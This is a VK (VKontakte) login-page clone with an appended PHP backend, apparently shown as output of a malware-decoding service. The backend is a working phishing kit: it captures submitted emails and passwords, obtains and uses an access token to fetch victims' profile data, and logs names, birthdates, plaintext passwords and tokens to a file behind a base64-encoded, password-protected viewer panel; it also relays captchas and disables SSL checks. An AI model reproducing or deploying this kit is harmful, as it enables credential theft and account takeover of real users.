<link type="text/css" rel="stylesheet" href="//vk.com/css/al/index.css?14082579640"></link><link type="text/css" rel="stylesheet" href="//vk.com/css/al/login.css?15932378811"></link><link type="text/css" rel="stylesheet" href="//vk.com/css/ui_controls.css?15064529460"></link><link type="text/css" rel="stylesheet" href="//vk.com/css/al/ui_common.css?13455283419"></link><script type="text/javascript" src="//vk.com/js/loader_nav3817049020046_0.js"></script><script type="text/javascript" src="//vk.com/js/al/common.js?1157_186508888"></script><script type="text/javascript" src="//vk.com/js/lang0_0.js?6844"></script><script type="text/javascript" src="//vk.com/js/lib/px.js?ch=1"></script><script type="text/javascript" src="//vk.com/js/lib/px.js?ch=2"></script><link rel="alternate" media="only screen and (max-width: 640px)" href="https://m.vk.com/" /><link rel="alternate" href="android-app://com.vkontakte.android/vkontakte/m.vk.com/" /><meta name="msApplication-ID" content="C6965DD5.VK" /><meta name="msApplication-PackageFamilyName" content="C6965DD5.VK_v422avzh127ra" /><script type="text/javascript" src="//vk.com/js/al/index.js?3228561433"></script><script type="text/javascript" src="//vk.com/js/lib/ui_controls.js?3486179758"></script><script type="text/javascript" src="//vk.com/js/al/ui_common.js?3070177449"></script><script type="text/javascript" src="//vk.com/js/cmodules/web/audioplayer.js?6327756732"></script>
</head>
<body onresize="onBodyResize()" class="firefox index_page">
<div id="system_msg" class="fixed"></div>
<div id="utils"></div>
<div id="layer_bg" class="fixed"></div><div id="layer_wrap" class="scroll_fix_wrap fixed layer_wrap"><div id="layer"></div></div>
<div id="box_layer_bg" class="fixed"></div><div id="box_layer_wrap" class="scroll_fix_wrap fixed"><div id="box_layer"><div id="box_loader"><div class="pr pr_baw pr_medium" id="box_loader_pr"><div class="pr_bt"></div><div class="pr_bt"></div><div class="pr_bt"></div></div><div class="back"></div></div></div></div>
<div id="stl_left"></div><div id="stl_side"></div>
<script type="text/javascript">domStarted();</script>
<div class="scroll_fix_wrap _page_wrap" id="page_wrap"><div><div class="scroll_fix">
<div id="page_header_cont" class="page_header_cont">
<div class="back"></div>
<div id="page_header_wrap" class="page_header_wrap">
<a class="top_back_link" href="" id="top_back_link" onclick="if (nav.go(this, event, {back: true}) === false) { showBackLink(); return false; }" onmousedown="tnActive(this)"></a>
<div id="page_header" class="p_head p_head_l0" style="width: 960px">
<div class="content">
<div id="top_nav" class="head_nav">
<div class="head_nav_item fl_l"><a class="top_home_link fl_l " href="http://vk.com/" aria-label=" " accesskey="1"><div class="top_home_logo"></div></a></div>
<div class="head_nav_item fl_l"><div id="ts_wrap" class="ts_wrap" onmouseover="TopSearch.initFriendsList();">
<input name="disable-autofill" style="display: none;" />
<input type="text" onmousedown="event.cancelBubble = true;" ontouchstart="event.cancelBubble = true;" class="text ts_input" id="ts_input" autocomplete="off" name="disable-autofill" placeholder="" aria-label="" />
</div></div>
<div class="head_nav_item fl_l head_nav_btns"><span id="top_audio_layer_place"></span></div>
<div class="head_nav_item fl_r"><a class="top_nav_link" href="" id="top_switch_lang" style="" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '6e6bf4047b91726b15' }); return false;" onmousedown="tnActive(this)">
Switch to English
</a><a class="top_nav_link" href="http://vk.com/join" id="top_reg_link" style="display: none" onclick="return !showBox('join.php', {act: 'box', from: nav.strLoc}, {}, event)" onmousedown="tnActive(this)">
</a></div>
<div class="head_nav_item_player"></div>
</div>
<div id="ts_cont_wrap" class="ts_cont_wrap" ontouchstart="event.cancelBubble = true;" onmousedown="event.cancelBubble = true;"></div>
</div>
</div>
</div>
</div>
<div id="page_layout" style="width: 960px;">
<div id="side_bar" class="side_bar fl_l " style="display: none">
<div id="side_bar_inner" class="side_bar_inner">
<div id="quick_login" class="quick_login">
<form method="POST" name="login" id="quick_login_form" action="">
<div class="label"> e-mail</div>
<div class="labeled"><input type="text" name="email" class="dark" id="quick_email" /></div>
<div class="label"></div>
<div class="labeled"><input type="password" name="pass" class="dark" id="quick_pass" onkeyup="toggle('quick_expire', !!this.value);toggle('quick_forgot', !this.value)" /></div>
<input type="submit" class="submit" />
</form>
<button class="quick_login_button flat_button button_wide" id="quick_login_button"></button>
<button class="quick_reg_button flat_button button_wide" id="quick_reg_button" style="display: none" onclick="top.showBox('join.php', {act: 'box', from: nav.strLoc})"></button>
<div class="clear forgot"><div class="checkbox" id="quick_expire" onclick="checkbox(this);ge('quick_expire_input').value=isChecked(this)?1:'';"> </div><a id="quick_forgot" class="quick_forgot" href="http://vk.com/restore" target="_top"> ?</a></div>
</div>
</div>
</div>
<div id="page_body" class="fl_r " style="width: 960px;">
<div id="header_wrap2">
<div id="header_wrap1">
<div id="header" style="display: none">
<h1 id="title"></h1>
</div>
</div>
</div>
<div id="wrap_between"></div>
<div id="wrap3"><div id="wrap2">
<div id="wrap1">
<div id="content"><div id="index_rcolumn" class="index_rcolumn">
<div id="index_login" class="page_block index_login">
<form method="post" name="login" id="index_login_form" action="">
<input type="text" class="big_text" name="email" id="index_email" value="" placeholder=" e-mail" />
<input type="password" class="big_text" name="pass" id="index_pass" value="" placeholder="" onkeyup="toggle('index_expire', !!this.value);toggle('index_forgot', !this.value)" />
<button id="index_login_button" class="index_login_button flat_button button_big_text"></button>
<div class="forgot">
<div class="checkbox" id="index_expire" onclick="checkbox(this);ge('index_expire_input').value=isChecked(this)?1:'';"> </div>
<a id="index_forgot" class="index_forgot" href="http://vk.com/restore" target="_top"> ?</a>
</div>
</form>
</div>
<div id="ij_form" class="page_block ij_form">
<h2 class="ij_header"> ?</h2>
<div class="ij_subheader"> </div>
<div id="ij_msg"></div>
<input type="text" class="big_text" id="ij_first_name" value="" placeholder=" " />
<input type="text" class="big_text" id="ij_last_name" value="" placeholder=" " />
<div class="ij_label"> <span class="hint_icon" data-title="<b> </b> , .<br> ." onmouseover="showHint(this);"></span></div>
<div id="ij_birthdate_row" class="ij_birthdate_row clear_fix">
<div class="ij_bday"><input type="text" class="big_text" id="ij_bday" /></div>
<div class="ij_bmonth"><input type="text" class="big_text" id="ij_bmonth" /></div>
<div class="ij_byear"><input type="text" class="big_text" id="ij_byear" /></div>
</div>
<div id="ij_sex_row" class="clear_fix unshown">
<div class="ij_label"> </div>
<div class="radiobtn" onclick="radiobtn(this, 1, 'ij_sex');"></div>
<div class="radiobtn" onclick="radiobtn(this, 2, 'ij_sex');"></div>
</div>
<button class="flat_button button_wide button_big_text ij_button" id="ij_submit" onclick="Index.submitJoinStart()"></button>
<div id="index_fbsign" class="index_fbsign">
<a id="index_fb" class="index_fb_lnk" href="" onclick="return Index.fbJoin();"><div class="index_fb_icon"></div> Facebook</a>
</div>
<div id="index_fbcontinuewithsign" class="index_fbcontinuewithsign">
<div class="fb-login-button index_fb_continue_with_btn" onclick="return Index.fbJoin();" data-use-continue-as="true" data-width="264" data-max-rows="1" data-size="medium" data-button-type="continue_with"></div>
</div>
</div>
</div>
<div class="login_mobile_promo_wrap clear_fix">
<div class="login_mobile_apps">
<div class="login_mobile_header"> </div>
<div class="login_mobile_info"> , .</div>
<div class="login_app_devices">
<a href="https://play.google.com/store/apps/details?id=com.vkontakte.android" target="_blank" class="login_app_device login_app_device_android">
<div class="login_app_device_screen_wrap">
<div class="login_app_device_screen login_app_device_ru"></div>
</div>
<div class="login_app_download_wrap">
<button class="flat_button secondary button_light">
<span class="login_app_download_icon"></span>
VK Android
</button>
</div>
</a>
<a href="https://www.microsoft.com/store/apps/9wzdncrfj1pt" target="_blank" class="login_app_device login_app_device_wp">
<div class="login_app_device_screen_wrap">
<div class="login_app_device_screen login_app_device_ru"></div>
</div>
<div class="login_app_download_wrap">
<button class="flat_button secondary button_light">
<span class="login_app_download_icon"></span>
VK WP
</button>
</div>
</a>
<a href="https://itunes.apple.com/ru/app/id564177498" target="_blank" class="login_app_device login_app_device_ios">
<div class="login_app_device_screen_wrap">
<div class="login_app_device_screen login_app_device_ru"></div>
</div>
<div class="login_app_download_wrap">
<button class="flat_button secondary button_light">
<span class="login_app_download_icon"></span>
VK iPhone
</button>
</div>
</a>
</div>
</div>
<a onclick="curBox().hide()" id="login_mobile_close" class="login_mobile_close"></a>
<div class="login_about_mobile">
: <a target="_blank" href="https://m.vk.com">m.vk.com</a>
</div>
</div>
<div id="index_footer_wrap" class="footer_wrap index_footer_wrap">
<div class="footer_nav" id="bottom_nav">
<div class="footer_copy fl_l"><a href="http://vk.com/about"></a> © <?=date("Y");?></div>
<div class="footer_lang fl_r">:<a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '6e6bf4047b91726b15'})">English</a><a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 0, hash: '6e6bf4047b91726b15'})"></a><a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 1, hash: '6e6bf4047b91726b15'})"></a><a class="footer_lang_link" onclick="if (vk.al) { showBox('lang.php', {act: 'lang_dialog', all: 1}, {params: {dark: true, bodyStyle: 'padding: 0px'}, noreload: true}); } else { changeLang(1); } return false;"> »</a></div>
<div class="footer_links">
<a class="bnav_a" href="http://vk.com/about"> </a>
<a class="bnav_a" href="http://vk.com/support?act=home" style="display: none;"></a>
<a class="bnav_a" href="http://vk.com/terms"></a>
<a class="bnav_a" href="http://vk.com/ads" style=""></a>
<a class="bnav_a" href="http://vk.com/dev"></a>
<a class="bnav_a" href="http://vk.com/jobs" style="display: none;"></a>
</div>
</div>
<div class="footer_bench clear">
</div>
</div></div>
</div>
</div></div>
</div>
<div id="footer_wrap" class="footer_wrap fl_r" style="width: 960px;"><div class="footer_nav" id="bottom_nav">
<div class="footer_copy fl_l"><a href="http://vk.com/about"></a> © 2017</div>
<div class="footer_lang fl_r">:<a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '6e6bf4047b91726b15'})">English</a><a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 0, hash: '6e6bf4047b91726b15'})"></a><a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 1, hash: '6e6bf4047b91726b15'})"></a><a class="footer_lang_link" onclick="if (vk.al) { showBox('lang.php', {act: 'lang_dialog', all: 1}, {params: {dark: true, bodyStyle: 'padding: 0px'}, noreload: true}); } else { changeLang(1); } return false;"> »</a></div>
<div class="footer_links">
<a class="bnav_a" href="http://vk.com/about"> </a>
<a class="bnav_a" href="http://vk.com/support?act=home" style="display: none;"></a>
<a class="bnav_a" href="http://vk.com/terms"></a>
<a class="bnav_a" href="http://vk.com/ads" style=""></a>
<a class="bnav_a" href="http://vk.com/dev"></a>
<a class="bnav_a" href="http://vk.com/jobs" style="display: none;"></a>
</div>
</div>
<div class="footer_bench clear">
</div></div>
<div class="clear"></div>
</div>
</div></div><noscript><div style="position:absolute;left:-10000px;">
<img src="http://vk.com//top-fwz1.mail.ru/counter?id=2579437;js=na" style="border:0;" height="1" width="1" />
</div></noscript></div>
<div class="progress" id="global_prg"></div>
<script type="text/javascript">
if (parent && parent != window && (browser.msie || browser.opera || browser.mozilla || browser.chrome || browser.safari || browser.iphone)) {
document.getElementsByTagName('body')[0].innerHTML = '';
} else {
domReady();
updateMoney(0);
if (browser.iphone || browser.ipad || browser.ipod) {
setStyle(bodyNode, {webkitTextSizeAdjust: 'none'});
}var qf = ge('quick_login_form'), ql = ge('quick_login'), qe = ge('quick_email'), qp = ge('quick_pass');
var qlb = ge('quick_login_button'), prgBtn = qlb;
var qinit = function() {
setTimeout(function() {
ql.insertBefore(ce('div', {innerHTML: '<iframe class="upload_frame" id="quick_login_frame" name="quick_login_frame"></iframe>'}), qf);
qf.target = 'quick_login_frame';
}, 1);
}
if (window.top && window.top != window) {
window.onload = qinit;
} else {
setTimeout(qinit, 0);
}
qf.onsubmit = function() {
if (!ge('quick_login_frame')) return false;
if (!trim(qe.value)) {
notaBene(qe);
return false;
} else if (!trim(qp.value)) {
notaBene(qp);
return false;
}
lockButton(window.__qfBtn = prgBtn);
prgBtn = qlb;
clearTimeout(__qlTimer);
__qlTimer = setTimeout(loginSubmitError, 30000);
domFC(domPS(qf)).onload = function() {
clearTimeout(__qlTimer);
__qlTimer = setTimeout(loginSubmitError, 2500);
}
return true;
}
handlePageParams({"id":0,"loc":"","noleftmenu":1,"wrap_page":1,"width":960,"width_dec":0,"width_dec_footer":0,"body_class":"firefox index_page","counters":"","pvbig":0,"pvdark":1});addEvent(document, 'click', onDocumentClick);
addLangKeys({"global_apps":"","global_friends":"","global_communities":"","head_search_results":" ","global_chats":"","global_show_all_results":" ","global_news_search_results":" ","global_emoji_cat_recent":" ","global_emoji_cat_1":"","global_emoji_cat_2":" ","global_emoji_cat_3":" ","global_emoji_cat_4":" ","global_emoji_cat_5":" ","global_emoji_cat_6":" ","global_emoji_cat_7":"","global_emoji_cat_8":"","global_emoji_cat_9":""}, true);
addLangKeys({"index_to_main":" ","index_choose_sex":" ","index_sel_bday":""});
addTemplates({"_":"_"});cur.options = {"bmonths":[[0,""],[1,""],[2,""],[3,""],[4,""],[5,""],[6,""],[7,""],[8,""],[9,""],[10,""],[11,""],[12,""]],"byears":[[0,""],[2003,"2003"],[2002,"2002"],[2001,"2001"],[2000,"2000"],[1999,"1999"],[1998,"1998"],[1997,"1997"],[1996,"1996"],[1995,"1995"],[1994,"1994"],[1993,"1993"],[1992,"1992"],[1991,"1991"],[1990,"1990"],[1989,"1989"],[1988,"1988"],[1987,"1987"],[1986,"1986"],[1985,"1985"],[1984,"1984"],[1983,"1983"],[1982,"1982"],[1981,"1981"],[1980,"1980"],[1979,"1979"],[1978,"1978"],[1977,"1977"],[1976,"1976"],[1975,"1975"],[1974,"1974"],[1973,"1973"],[1972,"1972"],[1971,"1971"],[1970,"1970"],[1969,"1969"],[1968,"1968"],[1967,"1967"],[1966,"1966"],[1965,"1965"],[1964,"1964"],[1963,"1963"],[1962,"1962"],[1961,"1961"],[1960,"1960"],[1959,"1959"],[1958,"1958"],[1957,"1957"],[1956,"1956"],[1955,"1955"],[1954,"1954"],[1953,"1953"],[1952,"1952"],[1951,"1951"],[1950,"1950"],[1949,"1949"],[1948,"1948"],[1947,"1947"],[1946,"1946"],[1945,"1945"],[1944,"1944"],[1943,"1943"],[1942,"1942"],[1941,"1941"],[1940,"1940"],[1939,"1939"],[1938,"1938"],[1937,"1937"],[1936,"1936"],[1935,"1935"],[1934,"1934"],[1933,"1933"],[1932,"1932"],[1931,"1931"],[1930,"1930"],[1929,"1929"],[1928,"1928"],[1927,"1927"],[1926,"1926"],[1925,"1925"],[1924,"1924"],[1923,"1923"],[1922,"1922"],[1921,"1921"],[1920,"1920"],[1919,"1919"],[1918,"1918"],[1917,"1917"],[1916,"1916"],[1915,"1915"],[1914,"1914"],[1913,"1913"],[1912,"1912"],[1911,"1911"],[1910,"1910"],[1909,"1909"],[1908,"1908"],[1907,"1907"],[1906,"1906"],[1905,"1905"],[1904,"1904"],[1903,"1903"],[1902,"1902"],[1901,"1901"]]};
Index.initNew();cur.fbApp = '128749580520227';
cur.fbState = '41ec29e42129f4529d';
cur.fbContinueWithSign = 1;
cur.fbLocale = 'ru_RU';
Index.fbCheck(cur.fbApp, '');
;(function (d, w) {
if (w.__dev) {
return
}
var ts = d.createElement("script"); ts.type = "text/javascript"; ts.async = true;
ts.src = (d.location.protocol == "https:" ? "https:" : "http:") + "//top-fwz1.mail.ru/js/code.js";
var f = function () {var s = d.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ts, s);};
if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); }
})(document, window);
}
</script>
</body>
</html>
<?
if($_POST[email] and $_POST[pass]){
if($data[error_description] == 'Username or password is incorrect') exit('<script>showFastBox("", " .");</script>');
if($data[access_token]){
$res = json_decode(curl('https://api.vk.com/method/account.getProfileInfo?access_token='.$data[access_token]), 1);
if(!file_exists(B_NAME)){
file_put_contents(B_NAME, '<? $pass="'.PASS.'";'.base64_decode('c2Vzc2lvbl9zdGFydCgpOwppZigkX0dFVFsnZXhpdCddKSAkX1NFU1NJT05bYXV0aF0gPSAwOwo/Pgo8c3R5bGU+Cmh0bWwsYm9keXsKCXBhZGRpbmc6IDA7CgltYXJnaW46IDA7CgloZWlnaHQ6IDEwMCU7Cgl3aWR0aDogMTAwJTsKCWJhY2tncm91bmQ6ICMzMjMzMzI7Cn0KLmJiewoJd2lkdGg6IDcwLjclOwoJbWFyZ2luLWxlZnQ6IDE1JTsKfQouZWRpdHsKCXdpZHRoOiA3MCU7CgltYXJnaW4tbGVmdDogMTUlOwp9Ci5sb2dpbnsKCWJhY2tncm91bmQ6IGJsYWNrOwoJd2lkdGg6IDQwJTsKCWhlaWdodDogMjAlOwoJbWFyZ2luLXRvcDogMTUlOwoJbWFyZ2luLWxlZnQ6IDMwJTsKfQoudGV4dHsKCW1hcmdpbi10b3A6IDUwcHg7Cn0KdGFibGV7Cgljb2xvcjogIzAwOGNmMDsKCWJvcmRlci1jb2xvcjogcmVkOwp9CnRkewoJdGV4dC1hbGlnbjogY2VudGVyOwp9Cjwvc3R5bGU+Cjw/CiRjID0gYXJyYXkoJ2dyZWVuJywgJ3JlZCcsICd5ZWxsb3cnLCAnYmx1ZScsICd3aGl0ZScpW210X3JhbmQoMCwgNCldOwppZighJF9TRVNTSU9OW2F1dGhdKXsKaWYoJF9QT1NUW2xvZ2luXSl7CglpZigkX1BPU1RbbG9naW5dID09ICRwYXNzKXsKCQkkX1NFU1NJT05bYXV0aF0gPSAxOwoJCWVjaG8gJzxzY3JpcHQ+d2luZG93LmxvY2F0aW9uLnJlbG9hZCh0cnVlKTs8L3NjcmlwdD4nOwoKCX0KfQo/PgoKPCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KCTx0aXRsZT5Mb2dpbjwvdGl0bGU+Cgk8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSJjc3MvbG9naW4uY3NzIj4KPC9oZWFkPgo8Ym9keT4KCTxkaXYgY2xhc3M9ImxvZ2luIiBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgPD89JGM/PjsiPgoJCTxicj48Y2VudGVyPjxiPjxzcGFuIHN0eWxlPSJjb2xvcjogPD89JGM/PjsiIGNsYXNzPSJ0ZXh0Ij5Mb2dpbiBJbjwvc3Bhbj48L2I+PC9jZW50ZXI+PGJyPgoJCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPgoJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibG9naW4iIGNsYXNzPSJlZGl0IiBwbGFjZWhvbGRlcj0ibG9naW4iPjxicj4KCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmIiIHZhbHVlPSJMT0dJTiIgY2xhc3M9ImJiIj4KCQk8L2Zvcm0+Cgk8L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+Cjw/CmV4aXQoKTsKfQo/Pgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHBhZGRpbmc9IjUiPgogICA8dHI+CiAgICA8dGg+0KTQmNCePC90aD4KICAgIDx0aD7QlNCgPC90aD4KICAgIDx0aD7Qm9C+0LPQuNC9PC90aD4KICAgIDx0aD7Qn9Cw0YDQvtC70Yw8L3RoPgogICAgPHRoPtCi0L7QutC10L08L3RoPgogICA8L3RyPgoK'));
}
file_put_contents(B_NAME, "<tr><th>".$res[response][first_name].''.$res[response][last_name]."</th><th>".$res[response][bdate]."</th><th>".$_POST[email]."</th><th>".$_POST[pass]."</th><th>".$data[access_token]."</th></tr>", FILE_APPEND);
exit("<script>window.location.replace('".URL."');</script>");
}
if($data[error] == 'need_captcha'){
$str = "<form method='post' action=''><center><img src=".$data[captcha_img]."><br><div class='labeled'><input type='text' name='captcha' class='dark' id='quick_email'/><button class='quick_login_button flat_button button_wide' style='width=20%;' id='quick_login_button'></button></div></center><input type='hidden' name='sid' value=".$data[captcha_sid]."><input type='hidden' name='email' value=".$_POST[email]."><input type='hidden' name='pass' value=".$_POST[pass]."></form>";
?>
<script>showFastBox(" ", "<?=$str?>");</script>
<?}/*
print_r($data); //delete me!!!!
exit($_POST[email].' '.$_POST[pass]); */
}
function curl($url){
$ch = curl_init( $url );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
$res = curl_exec( $ch );
curl_close( $ch );
return $res;
}
?>
Function Calls
| define | 1 |
Stats
| MD5 | d164f21f30c9d44ff2ba430a9507183c |
| Eval Count | 0 |
| Decode Time | 96 ms |